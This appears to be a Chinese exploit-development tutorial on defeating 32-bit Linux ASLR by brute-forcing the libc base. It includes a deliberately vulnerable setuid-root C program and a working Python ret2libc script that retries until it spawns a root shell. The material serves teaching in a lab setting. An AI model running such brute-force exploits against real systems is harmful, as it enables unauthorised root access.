Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
(1)原理:
使用爆破技巧,来绕过共享库地址随机化。爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。这个技巧是用于绕过 ASLR 的最简单的技巧。
(2)漏洞代码
1 2 3 4 5 6 7 8 9 10 | //vuln.c #include <stdio.h> #include <string.h> int main( int argc, char * argv[]) { char buf[256]; strcpy(buf,argv[1]); printf( "%s\n" ,buf); fflush(stdout); return 0; } |
编译
1 2 3 4 5 | echo 2 > /proc/sys/kernel/randomize_va_space gcc -fno-stack-protector -g -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln |
(3)当随机化打开时不同的 Libc 基址
上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。
(4)攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #exp.py #!/usr/bin/env python import struct from subprocess import call <strong>libc_base_addr = 0x161dd8 #随便选择一个基址即可 exit_off = 0x001a615c system_off = 0x0003f430 binsh_off=0x161dd8 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off binsh_arg = binsh_off+libc_base_addr</strong> #endianess convertion def conv(num): return struct .pack( "<I" ,num) buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(binsh_arg) bufl= "" print "Calling vulnerable program" #Multiple tries until we get lucky i = 0 while (i < 256): print "Number of tries: %d" %i i += 1 ret = call([ "./vuln" , buf]) if (not ret): break else : print "Exploit failed" |
获得system和exit偏移地址:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
(5)从网站https://libc.blukat.me/获得/bin/sh偏移地址
(6)执行程序 $python exp.py,获得root shell。
由于无法解释的神圣旨意,我们徒然地到处找你;你就是孤独,你就是神秘,比恒河或者日落还要遥远。。。。。。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步